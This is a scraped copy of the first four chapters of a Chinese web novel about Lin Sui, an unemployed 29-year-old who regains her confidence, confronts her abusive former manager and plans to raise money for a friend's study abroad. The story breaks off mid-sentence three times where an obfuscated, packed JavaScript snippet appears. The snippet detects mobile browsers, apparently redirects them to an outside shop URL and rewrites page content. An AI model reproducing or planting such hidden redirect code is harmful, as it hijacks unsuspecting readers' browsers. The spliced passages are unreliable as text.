《颜值暴发户》 1. Chapter 1 这是林穗失业的第九十天，也是她二十九岁生日。 若不是许菲儿硬要拉她出来给她庆祝，她是一点都不想过这个生日的。 毕竟在外界看来，作为一个无车无房无存款、相貌性格样样平庸甚至略差的大龄外地女子，她浑身上下实在没有任何令人欣慰的地方。生日，只是她庸碌人生中一年一度的折旧提示而已，没什么好高兴的，以后的每一年只会更差。 加上最近还丢了工作，釜底抽薪，看着更凄惨了。 此时的她既局促又无聊地坐在一家设计师店的沙发上，等待着许菲儿兴致勃勃地一件件试衣服。 有时她也幻想，要是又黑又壮又土气的自己也能拥有菲儿这样的性格和外貌，年近三十的人生会不会不一样。 “Mo姐，那个真的是客人自己的东西，如果是我们的商品，怎么可能不卖给您呢？”店员着急忙慌地向身边一位珠光宝气的女士解释道。 “我知道你们店的规矩，每个月出两个特别款只卖给熟客嘛。那款靴子不卖给我，是嫌我上个月出差没来店里消费？可我上上个月才在这里买了十几万，才一个月时间就都’清零‘了？你们比爱马仕还难伺候！”对方显然不买账。 “不是的，真的不是这样的Mo姐……”店员忙站到林穗面前，向她求助：“这位客人，可不可以麻烦您帮忙解释一下，您脚上这双长靴真的是您自己的私服，不是我们店里的商品。” 林穗愣住了，她脚上的靴子是前年看某宝直播时买来的断码鞋，拢共花了九十九，怎么可能是这间高大上的设计师店的商品？更何况自己一直黑黑胖胖的，从小土到大，但凡稍作打扮就会被嘲“丑人多作怪”，谁会从她身上“种草”什么东西？ 林穗第一反应是感到震惊，而后觉得自己惹上了麻烦，心中慌乱起来，想找许菲儿却还是不见她的人影。 “还有她身上这件Oversize的针织衫、配套的锁骨链，一看就是你们设计师的风格……”Mo姐上下打量着林穗的穿搭，每一处细节都不放过：“啊，这条短裤……” Mo姐不顾店员的阻拦，把一脸懵的林穗拉到一边，小声问道：“小妹妹，你告诉我，你上个月在这家店刷了多少呀？” 林穗现在既羞愤又懊悔，后悔自己不该答应被许菲儿打扮。 今天出门前，许菲儿坚持说过生日必须有个过生日的样子，这才说服林穗勉强接受了自己为她精心设计的妆容穿搭。 被嘲笑怕了，平日里习惯了拖鞋大裤衩的林穗也是做了好几个小时的心理建设才出门。自打迈出门槛，她没敢抬头看任何反光物一眼，生怕从倒影中看出“越努力越心酸”这几个字。 Mo姐的“高看”，在她眼里更像是种行为艺术般的“嘲弄”。 林穗：“我没……” 店员：“误会了，她不……” “Mo姐，您好呀，您是喜欢我朋友身上这套穿搭对吗？”许菲儿落落大方地出现在这焦灼混乱的场面中。 Mo姐皱皱眉：“你是……？” 许菲儿笑道：“我是一名设计师兼品牌主理人，这位是我的御用模特。您的品位果真优雅又独到，实不相瞒，模特小姐穿的正是我为今年早秋设计的特别款，我们正要从这间店里买一些配饰拍摄宣传照用。您要是实在喜欢，要不……” 许菲儿明明是个国企文员，可是以她的面容身段与时尚品位，这套虚假的自我介绍毫无违和感。 她假装为难，Mo姐便紧紧相追：“我喜欢。明人不说暗话，模特小姐和我身材也相仿，这一整套我都想要。” 身材相仿？林穗一惊，感慨这位女士怕不是有什么毛病。她又高又瘦，一副精英阶层模样，而自己……哪里相仿了？ “这套本来已经说好送给模特小姐了……您容我沟通片刻，稍等。”言毕，许菲儿拉过林穗。 林穗两颊通红：“你确定吗？我这一身都是好几年前夜市上买的旧款，项链是超市抽奖送的，鞋子是某宝的断码鞋，咱们不是骗人吗？” 许菲儿：“欺瞒成色虚构质量才叫骗，我们的东西都给她亲眼看到了，所见即所得，人家心甘情愿买，这叫各取所需。” 许菲儿转身对Mo姐笑着道：“模特小姐说她可以割爱，这第一套样衣样鞋就让给您吧。” Mo姐：“行，那价格？” 许菲儿：“好不容易遇到懂设计的女士，我们就让利交个朋友吧，6999元。” Mo姐：“倒是蛮实惠。二维码拿出来吧，我扫你。” 许菲儿：“好的，麻烦您把地址发我，拍摄结束后我让助理把样衣干洗好寄送给您。” Mo姐走后，林穗还沉浸在刚刚的震惊当中无法自拔。 许菲儿笑道：“大寿星，今天沾你的光我们发财了耶！这钱我们一人一半，走，请你去楼上吃火锅。” 升降电梯的门打开，林穗从轿厢的镜子中看到一个陌生的自己——自己什么时候变得这么纤细而美丽了？ 晚上回到家后，林穗从堆满旧物的阳台上扒出了被灰尘封印了厚厚一层的穿衣镜，将它抬回了客厅。 带着一身火锅味，她久违地站在镜子前，直视着镜中的自己。 失业九十天，没钱出门反而把皮肤养白了，没钱点外卖加上茶饭不思，反而变瘦了；为了省每桶一块五毛钱的差价，天黑后多走一站路去更便宜的超市提矿泉水，反而让双臂有了些许锻炼的痕迹……这是什么因祸得福？而每天沉浸在自卑情绪中的自己居然对这些向好的变化毫无觉察。 她这才发现自己高挑的身材瘦下来之后穿衣服很好看，摘掉眼镜戴上隐形后的双眼其实这么大…… 这一刻，世界好像换了种色彩，周遭的一切似乎都在告诉她老天并没打算放弃她，反而给了她一些积极的暗示。似乎是时候换种活法了，人总得向前看。 这时，菲儿打来电话：“宝贝，我到家了，你也到了吧？” 林穗：“我到了。” 菲儿：“到了就好。生日快乐小穗，以后也要天天开心！” 林穗：“菲儿，我……可以和你学化妆吗？” 听到这个需求，许菲儿先是震惊，而后雀跃。对于好姐妹的转变她太欣慰了，第二天一大早就提着一箱“工具”来到了林穗家。 许菲儿：“早该这样了！” “早该学化妆吗？” 许菲儿摇摇头：“不，是早该振作起来了。你离职之后就对什么事情都没了兴趣，不吃不喝不玩也不说话，我经常担心你抑郁。对了，你瘦了几斤？” 林穗：“好像有……二十多斤。我也没想到变化会这么大。” 菲儿笑道：“昨天给你化妆时我就一直在夸，只是你一直垂着头，不知道在想什么。瞧瞧咱们这一米七七的大个儿，又瘦又高，所以昨天Mo姐才会相信咱们俩真的是设计师和模特呀。宝贝，其实你超美的。” 美？活了二十九年，林穗还是第一次听别人用这个词形容她。 林穗曾经也是个爱生活爱美丽的年轻人。 刚毕业时，她满眼都是对未来的憧憬和希望，哪怕只在老小区的隔断房里租了个七平米还朝北、暗如地窖的卧室，也觉得未来一定会好。 屋里放不下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634463|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晾衣架，她就在门背后粘了个挂钩，提前一晚把明早要穿的衣服从床底的行李箱中掏出来，像从咸菜罐底捞出一条皱皱巴巴的咸菜。然后拿出夹头发的夹板，把皱得最严重的袖子和腋下处“夹”平。 她还花九块九在某“砍一刀”购物软件上买了三片可以贴在墙上的“镜子”，虽说效果堪比哈哈镜，可总归能让她在出门之前看一眼今天的配色是否和谐。玄学说了，镜子不能对床不能对窗也不能对门，可这七平米之中找不到任何一角满足这个要求，她便把它们贴在柜子里，想照镜子时就拉开柜门，模模糊糊看个影子。 那年她总是一回去就把自己锁在屋里，甚至尽可能不出来上厕所。因为合租的夫妻俩晚上不是在炒菜就是在吵架，吵不尽兴还老是动手，离开了自己这七平米的安全区域就容易被误伤。 门外摔盘砸碗、赌咒发誓要弄si对方，门内的她把耳机中的网课声调到最大，压着燥气与恐惧，逼自己一页一页看中级会计考试的辅导书。 其实她并不擅长跟数字打交道，也从财务工作中得不到任何成就感，只是为了更好地就业，才考研两次从文学大类的本科生变成一名会计硕士，然后度过了极为煎熬的两年。再然后，继续逼迫自己艰难地适应着“财务分析”这项工作。 起初，林穗总觉得她能适应，喜不喜欢和能不能干好是两回事。虽然日复一日的拉表对数总让她胃部痉挛，“对不上”这三个字总让她频频想吐，但她总觉得这些都是技能层面的问题，只要浇灌足够多的努力与时间，这种“不敏感”总有一天会被克服。 就这样，她又原地苦熬了三年，终于在今年年初彻底将自己熬崩溃了。 白天是极度违背她天性、枯燥又繁重的财务工作和处处冷眼相对的同事、有一点小问题就要当众破口大骂甚至人身攻击的领导，晚上是逼仄狭小的出租屋和已经把摔盆砸碗升级为动刀子比划的室友夫妻。 三年时间，从眼里有光到目光麻木，从随和开朗到沉默寡言，从正常身材到过劳肥的胖子，从爱打扮到自暴自弃，甚至出门前连头发都懒得梳……写小说的爱好荒废了，还变成了重度的失眠患者。人要工作几十年，但选了一种不适合自己的工作，三年就苍老低迷成了现在的样子。 为了“自救”，林穗拿出了自己微薄的积蓄，咬牙租下了郊区一套一室户搬出来独居。 看到一年一度的内部转岗开启，她填写了从财务部到销售部的竞聘申请。HR笑嘻嘻地告知她，他们会遵循公司的人事工作守则，在简历筛选的阶段对外严格保密。可是第二天午休，她就在会议室门外听到自己经理和销售部小头头的对话。 财务经理：“你可不能要她，我这边事情多到烦死了，实在是懒得再招一个人过来重新教了。” 销售主管：“你放心，我知道了。我还奇怪她为什么愿意来，我们给新人的底薪也不高。” 财务经理：“她现在薪水也很低啊，才这个数。” 销售主管：“啊？不会吧？再怎么样人家也是个985硕士啊。” 财务经理：“那又怎么样。管理的智慧就是要帮公司花小钱办大事。会做向下管理的话，985硕士照样兢兢业业珍惜你赏给她的打工机会。而且她还是个外地人，年纪嘛也快三十了，除了我这儿还有谁会要她。” 销售主管：“还得是你啊。不过你确定她只申请了我这边？我看市场部也开放了投递。” 财务经理：“呵呵，市场部讲究外在形象，你看她又高又壮，往那边一站跟堵墙似的，派出去路演都影响品牌形象，容易让企业有公关危机。人家怎么可能要她嘛。” 2. Chapter 2 就这样，在身心的极度痛苦中，林穗辞职了。 在失业的三个月里，她也在某几个焦虑的深夜投出过简历，投递对象都是财务岗以外的工作，但都石沉大海。还好，下个季度的房租已交，身上也还剩几千块钱，勉强够苟活一阵子。 生日那天后，她的心情一直还算不错，终于愿意踏出家门买点青菜和火鸡面回来煮着吃。超市里很多一家三口出来采购的，她见了，想家的“死灰”又在心中复燃。 如果结束漂泊直接回家呢？ 想到这里，她拨通了妈妈的电话。 “宝贝，你干什么呢？吃饭了没有？妈妈告诉你一个消息——妈妈想通了，已经从他那边搬出来了，这回是彻底断了。我自己租了个地方，就在老城区，刚刚才把钱转给房东，明天搬过来。以后你逢年过节回来就有地方住了。”电话那头的妈妈说着自己和男友分手的事。 林穗高考一结束父母就离婚了，读研前父亲再婚，说研究生学费是给她花的最后一笔钱，以后少往来。研究生一毕业，他又和爷爷奶奶一起逼她把原本买在她名下的房子过户给了自己。再后来，听说那房子被赠予了他二婚太太带过来的儿子。 直白地说，她没有“家”了，也就无从谈起“回家”。 刚研究生毕业时，林穗经常看着街头流浪的小狗发呆——比生下来就在野外自己谋生更惨的，是原本衣食无忧、半路被踹出家门的。 前二十多年的温馨快乐好像在她成为了劳动力市场上一个合格的人力资源后瞬间消失殆尽，她一下子从这个家的一份子变成了威胁这个家财产安全的存在，需要被亲生父亲和从小把她带大的爷爷奶奶合力排除在外。没了学校，也没了家人，异地漂泊、举目无亲的自己唯一能握住的只有这份工作。所以领导欺负她，她忍；同事排挤她，她忍；工作内容不适合，她也忍。 母亲这两年一直和男友生活，虽说退休后的工资不算高，可总是三不五时贴补林穗一些。她还干着卖保险的兼职，早出晚归地奔波，说要给林穗攒点首付钱。 现在母亲分手没了稳定的住处，更需要现金流了，“回老家”的选项不复存在，只是片发病时的止痛药，用温暖的幻想帮她镇痛。等到病痛有所缓解，林穗还得振作起来，继续在这座竞争激烈的一线城市找工作、赚钱。 “宝贝，你怎么不说话？是不是钱不够花啦？”妈妈觉察到有哪里不对，“还是你爸又打电话骚扰你了？” “妈妈，我辞职了。” 电话那头沉默了几秒钟，而后道：“早该辞职了！虽然没见过你们领导，但光凭这几年听你说的那些事，我就觉得她不配当领导。跟着这种人简直是在浪费时间，还不如在家休息。你先歇一歇，等我搬完家去上海看你。你要是想回来，等妈妈去□□你打包行李，把你接回来。” 林穗鼻头一酸：“没事的妈妈，最近还有别的公司联系我去工作，薪水都比现在高。” 母女二人又寒暄了一阵，挂掉电话后，妈妈微信上转来一万元钱，强调让林穗务必要收。 望着超市中来来往往的人群，想到离婚前无忧无虑的母亲如今为了自己这样地辛苦，林穗暗下定决心要与过去的自己告别，成为一个“立得住”、值得被依靠的人。 这时，她接到一通本市的来电。 “林小姐您好，我是肖潜。距离您完成上个阶段的咨询已经过去三个月了，这边想约您做一个回访，顺便看看您最近还有什么需要我们帮助的地方。您看什么时候方便呢？”心理咨询师肖潜问道。 “今天就可以。” “行，那我先预约一小时的时间。我们还是像之前一样线上沟通吗？”肖潜问道。 这间心理咨询机构其实是公司为员工提供的免费福利，林穗在最痛苦的时候打了这个咨询热线，接待她的人便是肖潜。 那时的她因外貌而自卑，不想去见陌生人，所以总是选择线上问询。按照咨询计划，她每隔一周与肖潜通话一次，从今年年初一直持续到六月份离职。那一通通电话，是她低迷时光中除了菲儿以外最重要的心理安慰之一。 “线上的话目前……” “肖老师，这次约线下吧。” 对面有些意外，不过很快便愉快地应允道：“好的，没问题。那下午四点见？” “好的，谢谢。” 林穗想，她是该一步一步慢慢做些什么找回曾经自信的自己了，那么就从今天勇敢迈出门去见人开始吧。 林穗爬到阁楼储物间，从一堆鞋盒中找出了一双经典款黑丝绒低跟鞋，又拿出一条浅花灰法式衬衫裙和一件黑色亚麻西装外套，一点点熨平。 阁楼是她囤积东西的地方。 菲儿第一次登上她家阁楼时也很惊讶：“小穗，你说你这两年没心情打扮，可为什么这里有这么多衣服鞋子包包？” “离职之前，我偶尔也有些情绪性消费。上班办公室里没人跟我说话，下班之后也没有。除了工作和考试带来的负反馈，财务部的门一关，我好像就再也没有任何和外界的交流了，只剩下日复一日的循环，望都望不到头。有一次我失眠到凌晨五点，打开购物软件的直播，里面的主播阿姨说个不停，热情高涨，从自家服装厂设计的衣服到她生活中各种有意思的事，我就一直放着。习惯了她的存在后，我洗澡也听，刷碗也听，睡觉前也听，她就好像真的变成了我身边的朋友。久而久之就想买几件衣服支持她，一件又一件，就积累了这么多。有点傻是不是？你就理解为精神状态过于糟糕，染上了点囤积癖吧。”林穗诚恳地说。 “我理解你，真的。”菲儿心疼道，“而且搬来这么偏僻的地方，进趟市区都要两个小时，偶尔网购也算是排解了。” 许菲儿又补充道：“该说不说，这个老板家的设计和质量都很好嘛，也不算亏。” “是啊。我之前又胖又丑，买的这些也穿不下，总是幻想着什么时候能暴瘦穿上这些漂亮衣服。现在好了，因祸得福。”林穗说。 “打住，以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634464|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后不允许这么形容自己！人活一口气，嘴巴就是自己的风水。从今天起，我只允许你夸自己是大美女，负面的词汇莫来沾边！” “好好好，我是大美女，行了吧？”林穗笑道。 想起这些女孩子间的甜蜜互动，林穗的心情忽然变好。 前往心理咨询室赴约前，她用菲儿教给她的基础手法笨拙而认真地化了个妆容。下地铁时还在自动贩卖机里买了三支百合花，作为最后一次咨询的感谢。 走在路上，她发觉自己已经没了之前那种“害怕被人注意到”的卑怯感。若是一年前有陌生人看向她，她必然怀疑对方是在内心默默吐槽自己的身材长相，甚至讥讽她不自律。 可现在，看着地铁门上清瘦挺拔的身影、简繁得当的搭配，别人再投来目光时，她心里甚至会由“不好意思”、“怀疑”转变为淡淡的“享受”。 真是种不可名状的体验，好不真实…… 肖潜说话总是不徐不疾的，有逻辑又没什么压迫感。 林穗一直以为他是位四十多岁的长者，谁知门一打开，看到的是个年轻帅哥。 “坐吧林小姐，喝点什么？”肖潜起身迎接，热情开朗笑道：“今天有美式、拿铁、橙汁和茉莉花茶。” “橙汁吧，谢谢。”喝点橙汁补充VC，冰箱里的绿叶菜就可以省到明天再吃了。 “这个是给您的，谢谢这半年来的帮助。我已经从原来的公司离职了，所以今天是最后一次来。”林穗将花送给了肖潜，真诚道。 肖潜接过花，插在写字桌前的花瓶中：“谢谢，有心了。” 他们像老朋友一样聊了很多，一个小时很快就过去了。 结束时，肖潜说：“刚才的沟通是作为一个心理咨询师，接下来的话是作为一位朋友。当然了，如果让你感到不舒服的话请随时制止我，我会道歉的。” 肖潜：“林小姐，其实你很优秀。考上985，拿到硕士文凭，上班对工作负责、下班坚持考证学习，这几样事情中的任何一件都是很多人做不到的。可你内心对自己的评价总是过低，至少大大地低于别人眼中你客观的优秀程度。有时，过分将视线聚焦在某个小圈子对自己的评价上，反而会影响你的自洽，让人忽略自己本身的美好。” 肖潜：“你甚至说起过你曾有外貌焦虑，但容我以自己将近三十年的人生见闻打包票，如果你都需要为此焦虑，世上百分之九十九的人都该因为外形而自卑了。所以，请多多欣赏自己吧……” 肖潜认真地说着，林穗却走了神，只因她发现自己的钥匙不见了。 独居的人一怕丢手机，二怕丢钥匙，尤其是在身份证还锁在屋里的情况下。 林穗拼命地回忆，这才想起钥匙包可能是结账时被落在超市收银台上了。于是她忙在网上搜索超市的电话并致电，接通后员工告诉她东西在客服中心，请尽快亲自前来认领。 “现在是晚高峰，这边很难打到车，不介意的话我顺路送你？”肖潜提议道。 3. Chapter 3 肖潜是个很有分寸的人，一路上虽然拥堵，见林穗心里装着事，他也始终一言不发，安静地开车。 到达目的地后，林穗道了声谢便直奔负一层超市了。好在一切顺利，很快便取回了钥匙。 林穗踱步到商场二层，看见一间店铺陈列的风衣很好看，觉得很适合妈妈，便驻足端详，纠结要不要进去看看细节。 “你好啊，小姐姐……”一个一脸憨态、戴着眼睛的男生从身后冒了出来。 他局促的笑容让林穗以为他要推销什么东西，便下意识摆手道：“不好意思，我不用……” “不是不是，是我不好意思打扰了。我在旁边注意您很久了，您这条裙子真的很好看，我也想送女朋友一条同款，请问这是在哪里买的？有链接吗？” 林穗听了有些动容，也不社恐了，拿起手机就开始查找购买订单：“稍等，我找一下。” 正值此时，一道尖锐的声音引得林穗PTSD都犯了： “姚远，你干什么呢？！我就去个洗手间你人都没影了？”来者怒气冲冲，先是教训了那男生一顿，而后直奔林穗而来：“喂，这是我男朋友，请问你有什么事情吗？” 要不说这声音和语调熟悉呢，原来眼前的人正是她曾经的经理Cindy胡。她教训男友的语气，和她在办公室里抓住一点小事就疯狂输出时一模一样。 “你不许跟别的部门的人谈论工作之外的事，要和他们所有人都保持距离，听懂没有？” “不要整天在总监面前加班，这样显得你很忙，我很闲。真有事情做不完就早晨起早点过来做，八点半之前公司没什么人，不会造成不好的影响。” “这么努力，CPA还没考完呀？实在不行就别考了，怪浪费青春的，闷着头学习连找对象的时间都没有，过几年真成老大难了。算了，你还是考吧，你又不像我，就算不工作了收收租也行。你还差得远，是得努力一点。” …… 林穗提了离职后，Cindy胡还是推给她一堆事情，并美其名曰：“本来你提了离职，我就没有什么义务再培养你了。可是没办法，我本身就不是那种冷血又较真的领导，所以哪怕是你临走前的最后一个月，我还是愿意让你多接触、多学习，你要珍惜。现在市场行情这么差，你到了小公司可就没有这种机会了。趁着还没走，能学多学。” 她的名言金句数不胜数，奇葩到就算把这些言行原封不动照搬进小说里，读者都会骂一声这作者偷懒，什么年代了还抄袭古早无脑言情剧的恶毒女配人设。 Cindy胡的存在充分说明了只有创作才需要逻辑，现实不需要。 至于为什么叫她Cindy胡？那是因为她逢人就强调自己之前是老牌百强外企出身，哪怕委身“小民企”也要体体面面，要坚持叫这个名字才显得平易近人且professional。 遇到大变样的林穗，她先是没认出来，而后拼命压抑着自己的惊讶，露出一副强行云淡风轻的扭曲表情。 “林穗？你怎么在这儿呢，还没回老家啊？”Cindy胡一把将状况之外的男友推到身后。 林穗头皮发麻，那些已经被选择性遗忘的压抑和屈辱瞬间涌上心头。她本想转身走开，可一个念头突然闪过：老天让这个人重新出现在自己面前，就是给了自己一个修正从前“错题”的机会。如果逃避，就是在背叛曾经吃了那么多苦的自己。而Cindy胡这个名字，也将永远成为她心上一道迈不过的坎儿。 “喂，链好取数公式的预算模板再发给我一下。交接的时候兵荒马乱一堆文件，找都找不到了。”林穗开口前，Cindy胡先翻了个白眼，颐指气使道，仿佛对方还是自己手下的员工。 林穗道：“我确定这套模板已经在离职交接时发给你了，交接清单上列示得很清楚，你自己也签过字的。” 林穗不仅外形脱胎换骨，还学会了顶嘴，这让Cindy胡炸了锅：“我知道啊，没说你交接的时候没打包发给我，我是说我现在找不到了，但是需要用，麻烦你再发我一次！懂了吧？” 林穗不卑不亢地反驳：“我在前公司的最后一项工作是办完离职交接并得到接手人的签字，我已经完成了。交接给你后你自己找不到，这是你的事，和我无关。” “亏我前期花了那么多时间coach你，原来是我错了，当初我有这个时间还不如下楼喝杯咖啡。”Cindy胡越说越气，戾气就快从厚厚的酒瓶底后喷薄而出了：“好，就算你不愿意为你输出的工作负责，你也得清楚，那套模板是在我搭建的框架下修改而成的，我至少也有50%的‘版权’。你独占着它，讲道理吗？” “你说得对。正好我这边有你最开始搭建的那个除了标题之外什么东西都没有的‘框架’，如果你需要的话，看在同事一场，我把这份你100%版权的东西发你。”林穗说，“收到记得说谢谢。” Cindy胡气得满脸通红，半天才憋出一句“你这样的人，是不会有人愿意雇用的”，然后扯着气都不敢使劲喘的男朋友悻悻然离开了。 “免于被雇用去你这种低端搅屎棍儿为非作歹的地方，简直是再好不过的祝福了，谢谢你啊。”林穗抬高了点声音，朝那个浑身装扮得粉嘟嘟的背影道。 林穗确定她听见了，不然也不会几米的路上连崴两回脚。 她突然有点后悔，后悔为什么没早点这样做。除了工作中上下级的关系，谁还不是国家的合法公民了？凭什么一个人就能借着职位高一点不断侮辱另一个人的人格呢？ 她欲下楼回家，一转身却看见了不知何时出现在身后的肖潜。 肖潜显得有些意外，她问道：“肖老师，还有什么事吗？刚刚吓到你了？” 肖潜回过神来，忙摆手：“没有，我是觉得你说得特别好。对了，外面突然雷阵雨，我车子上还有把备用伞，想把这个给你来着。” ****** 林穗没再允许自己拖延，很快地，她又筹划起了未来的生计。 她重新拾起了停更两年的文学网站账号，再度写起了稿子，同时也持续海投寻找工作机会。 这天，菲儿问可不可以来她这儿小住一段，林穗想她可能是遇到了什么事。 “抱抱我吧……”菲儿一进门就扔下了行李箱，抱住林穗。 林穗轻轻抚着好姐妹的后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634465|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背，温柔道：“怎么了？” “我暂时还不想说。等有一天有勇气说了，会细细告诉你的。”菲儿说，“我请了一周的年假，连上周末有将近十天，住在这里不会打扰你吧？” “当然不会了，我这里你想住多久都行。先好好休息一下吧，晚上我煮火锅给你吃。” 面对着热腾腾的锅底和满桌最喜欢的菜，菲儿的心事再也藏不住，嚎啕大哭起来：“他们答应让我明年去爱尔兰读书的，怎么又反悔了呢？爱尔兰的花销对他们来说根本不算什么，可他们就是不愿意让我去，无论我怎么哀求都不肯告诉我原因……从小到大总是这样言而无信，先是答应我给我希望，事到临头又反悔。这样子折磨我，有意思吗？” 林穗连忙用纸巾帮菲儿擦泪。 许菲儿家境优渥，父母一个是医院副院长，一个是业内有名的高级工程师。别说欧洲国家公立大学的研究生，就算是美澳的本科，对他们而言也完全不是问题。菲儿考雅思时他们还满口答应她留学深造的计划，可雅思分数一出来就改了口风，说什么也不许她继续申请，还扬言她再胡闹就把她从这个家里赶出去。 菲儿只喝了半罐雪碧，状态却像是干了两盅白酒，满眼通红：“如果他们一开始就没打算让我去，为什么我熬夜备考雅思的时候不阻止我，我飞回学校求老师帮忙写推荐信的时候不阻止我，我三伏天全市奔波着去听留学讲座的时候不阻止我，偏偏我什么都做完了，只差临门一脚，才站出来毁掉我全部的努力呢？” 她接着道：“我好像懂了，从小到大，我的学校、工作都是他们安排的，他们其实看不起我这个女儿，也并不相信我真的能把留学这个计划执行到底，以为我只是说着玩儿，也就随便我。现在知道我是认真的，所以大发雷霆，差点动起了手。” 林穗心疼极了，她还是第一次见生性积极乐观的许菲儿这样失意。 “说到底还是钱的问题，我需要他们的资助所以必须得到他们的认可……” “菲儿，你还差多少钱？”林穗问。 “从本科毕业到现在，现金加公积金我一共攒了十来万，他们只要再支持我十万块左右就够了……”许菲儿难过地说。 林穗的账户也空空，并不能帮上什么忙。 是啊，这世间很多事情都是钱的问题——如果够有钱，她就不用工作到抑郁也不敢停下；如果够有钱，她就可以给母亲买一套小屋供她安享晚年；如果够有钱，她就能资助自己最好的朋友实现梦想；如果够有钱…… 可是怎么样才能做到“够有钱”呢？若是仅凭从事她毫不擅长的财务工作，那赚到的薪水恐怕只够去精神科挂号的。 “菲儿，你是明年秋天入学对吗？” “嗯。”许菲儿点点头。 “也就是说，只要在明年秋天之前凑够十万块钱你就能去……”她喃喃自语。 林穗思考良久，想起了花6999元买走她衣服的Mo姐，想起了问她要裙子链接的Cindy胡的男朋友，又想起了Mo姐今早才在朋友圈里抱怨换季出游没什么好穿的…… 林穗突然动心起念：“菲儿，我们要不要试一试自己赚？” 4. Chapter 4 一天之内情绪大起大落，劳心劳神，菲儿很快就累得睡了过去。 林穗收拾好餐桌和厨房，坐在沙发上静静思索——二十万真的够菲儿完成一年的研究生学业吗？虽说学费没有英美澳那么高，可都柏林再怎么说也不是消费很低的地方。 林穗有些担心菲儿对留学花费的估算过于乐观，或是被中介欺瞒，所以在网上检索了半天。 网上的声音非常极端，要么说十几万就可以去，很适合没什么钱的孩子，要么说那些都是骗人的，至少得三十五万起步才能在都柏林过上正常人的生活。众说纷纭，令人眼花。 她忽然想到一个人——肖潜好像提起过他曾在爱尔兰生活半年。可自己目前和他的关系也仅限于认识，贸然叨扰总归有些不好意思。 林穗在沙发上睡下了。凌晨四点多，天幕的幽黑刚有一丝被晨曦稀释的痕迹，卧室里便传来悉悉簌簌的声响，微弱的灯光从门缝中渗出。 她轻轻敲了敲门，菲儿在里面应了一声。 林穗送了杯温水进去：“怎么这么早就醒了？” 看到满桌的雅思题目，林穗又问：“不是已经考过了吗？” 菲儿揉揉眼睛，放下手中的笔：“中介说再刷高点会更保险。我复盘了一下，我的写作和口语再努努力，应该都能提高0.5分。我一定要读研，如果他们不同意我去，那我多攒几年钱也会去。” 明白了菲儿的决心，林穗也不想再扭捏犹疑。她斟酌了一下措辞，特意等到早上九点钟之后发了条既正式又恭敬的短信给肖潜： “肖老师您好，我是林穗，很抱歉打扰了。之前听说您曾经在爱尔兰生活过，正巧我的朋友也计划去爱尔兰读书。我们做了一些功课，但还是有些不太清楚的地方。如果方便的话可以向您请教几个问题吗？谢谢。” 约莫一小时后，林穗收到了肖潜的回复：“抱歉刚才在开会，方便电话说吗？” “没问题。”林穗答道。 肖潜很快便拨了进来，他的背景音很是嘈杂，好像正在走动：“你好啊林小姐，我确实是在爱尔兰交流过半年，但不同学位和专业的差别会比较大。不知道你朋友是要去读什么呢？” “读商科的硕士。”林穗答道。 “那我的参考意义可能不大。我是博士阶段去交流的，研究方向是高分子材料，经费由系里承担。” 林穗刚有些灰心，便听他补充道：“不过我有个本科时的师弟去爱尔兰读过商科一年硕，需要的话我可以介绍你们聊聊。” 心理咨询师是肖潜的兼职，他真正的主业是交通大学的在读博士。出于对对方的考虑，林穗把见面地点定在了学校附近的咖啡馆。 为了应付上级单位的突击检查，许菲儿被领导紧急叫回去帮忙，没法跟林穗一起去。临走前她把想问的问题都理了个清单，请林穗带过去帮忙求证。 林穗本以为自己来得已经够早了，没想到肖潜还是抢先一步。 “不好意思，久等了。” “不会，是我来得太早了，因为正好什么没事。我们先稍微等等，师弟他已经在路上了，马上就到。”说着，肖潜把菜单递给了林穗：“看看喝点什么，这里的咖啡和蛋糕都不错，提拉米苏最受欢迎。” “谢谢。”比起点下午茶，林穗更着急的是把她的“礼数”进行完，毕竟是拜托不熟的人办事，礼多人不怪。 她拿出自己带来的果切，对肖潜道：“肖老师，谢谢您帮忙。我顺路带了些奇异果和火龙果，您拿回办公室尝尝。” 林穗说话做事的风格像极了黑白老电影里的年轻小同志，一板一眼地，有种稚嫩的老成。可所有跟她打过交道的人都能感受得出这是个简单又善良的年轻人。 肖潜笑道：“不用这么客气的，也不必再叫我‘肖老师’，喊我名字就好。心理咨询师我已经不再做了。” 林穗很惊讶。 肖潜解释道：“今年是毕业前最关键的一段时间，所以我跟机构辞职了，把重心收回到主业上来。你是我最后一个来访者。” “呦，肖师兄，好久不见又变帅啦，叔叔阿姨身体还好吧？”正说着，肖潜的师弟金鑫便过来了，操着一口浓重却不怎么地道的“北京腔”。 肖潜无奈笑笑——两人明明昨天上午还在一起打网球。他这师弟哪里都靠谱，就是嘴巴太贫。 “这就是您说的那个朋友吧？幸会幸会。”金鑫笑着落座。 